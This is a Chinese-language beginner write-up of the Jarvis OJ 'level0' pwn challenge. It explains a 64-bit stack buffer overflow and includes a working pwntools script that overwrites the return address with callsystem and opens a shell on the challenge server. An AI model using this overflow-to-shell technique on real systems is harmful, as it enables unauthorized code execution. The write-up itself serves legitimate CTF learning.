jarvis oj level0

菜鸟入门，先从level0开始下手。

首先checksec，发现开启了nx保护。

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

拖进64位ida，查看vulnerable_function

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]
  return read(0, &buf, 0x200uLL);
}

发现开辟了0x80的缓冲区，读取了0x200的内容，同时幸运地发现了callsystem函数，考虑缓冲区保护了，可以将返回地址覆盖为callsystem地址。

正常vulnerable函数栈如下：

高	vul_ret_address
	ebp
	buf
低

栈的增长方向是从高地址向低地址。

我们要做的是把vul_ret_address覆盖成callsystem地址。
构造payload=‘a’*0x80+‘junk-ebp’+p64(sys_addr)
脚本如下：

from pwn import *
context.log_level="debug"
p=remote("pwn2.jarvisoj.com",9881)    
e=ELF("level0")                                 
sys_addr=e.symbols['callsystem']
payload='a'*0x80+'junk-ebp'+p64(sys_addr)
p.send(payload)
p.interactive()
p.close()

几个收获：
pwntools的使用。函数运行时栈的状态，函数运行时先push ebp，将原栈底地址入栈。ebp栈底指针，esp栈顶指针，esp会一直变化。调用函数时须先将下一跳地址压栈，即调用完函数的返回地址。
分享一篇入门好文章
**除了system('/bin/sh')还有system($0)，execve函数组可以用。

遗留问题：
通过e.symbols['system']和e.search('/bin/sh').next()获取bin/sh地址和system地址，构造system("/bin/sh")为什么不行？没想明白以后再看
知道了，level0是64位程序，参数不保存在栈上，可以利用pop rdi，类似于level3_x64
一开始以为recv()没什么用，还是需要用recv，只有recv了，服务器返回的字符串才会从缓存中丢弃，要不可能recv的是上一条返回值，要注意。